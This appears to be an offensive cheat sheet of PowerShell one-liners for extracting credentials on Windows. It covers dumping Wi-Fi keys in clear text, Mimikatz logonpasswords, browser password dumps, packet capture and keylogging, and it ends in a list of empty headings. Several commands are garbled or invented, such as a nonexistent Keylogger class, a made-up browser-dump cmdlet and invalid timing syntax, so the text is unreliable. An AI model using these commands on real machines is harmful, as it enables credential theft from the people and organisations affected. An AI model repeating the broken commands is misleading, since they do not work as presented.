Credential Extraction
1) Stored Credentials
$cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object -Property UserName, Password2) Capture Keystrokes
$path = 'C:\temp\keystrokes.txt'; Add-Type -AssemblyName System.Windows.Forms; $listener = New-ObjectSystem.Windows.Forms.Keylogger; [System.Windows.Forms.Application]::Run($listener); $listener.Keys | Out-File -FilePath $path3) Wi-Fi profiles and passwords
netsh wlan show profiles | Select-String -Pattern 'All User Profile' -AllMatches | ForEach-Object { $_ -replace 'All User Profile *: ', '' } | ForEach-Object { netsh wlan show profile name="$_" key=clear }4) Browser saved passwords
Invoke-WebBrowserPasswordDump | Out-File -FilePath C:\temp\browser_passwords.txt5) Network Sniffing
$adapter = Get-NetAdapter | Select-Object -First 1; New-NetEventSession -Name 'Session1' -CaptureMode SaveToFile -LocalFilePath 'C:\temp\network_capture.etl'; Add-NetEventPacketCaptureProvider -SessionName 'Session1' -Level 4 -CaptureType Both -Enable; Start-NetEventSession -Name 'Session1'; Stop-NetEventSession -Name 'Session1' after 606) Mimikatz
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' | Out-File -FilePath C:\temp\logonpasswords.txt7) Windows Credential Manager
$credman = New-Object -TypeName PSCredentialManager.Credential; $credman | Where-Object { $_.Type -eq 'Generic' } | Select-Object -Property UserName, Password8) Retrieve passwords from files
9) Windows Services
10) RDP Credentials
11) Browser Cookies
12) IIS Application Pools
13) Configuration files
14) Scheduled Tasks
15) SSH Keys
16) Database Connection Strings
17) Windows API Keylogger
18) Windows API Clipboard Access
Last updated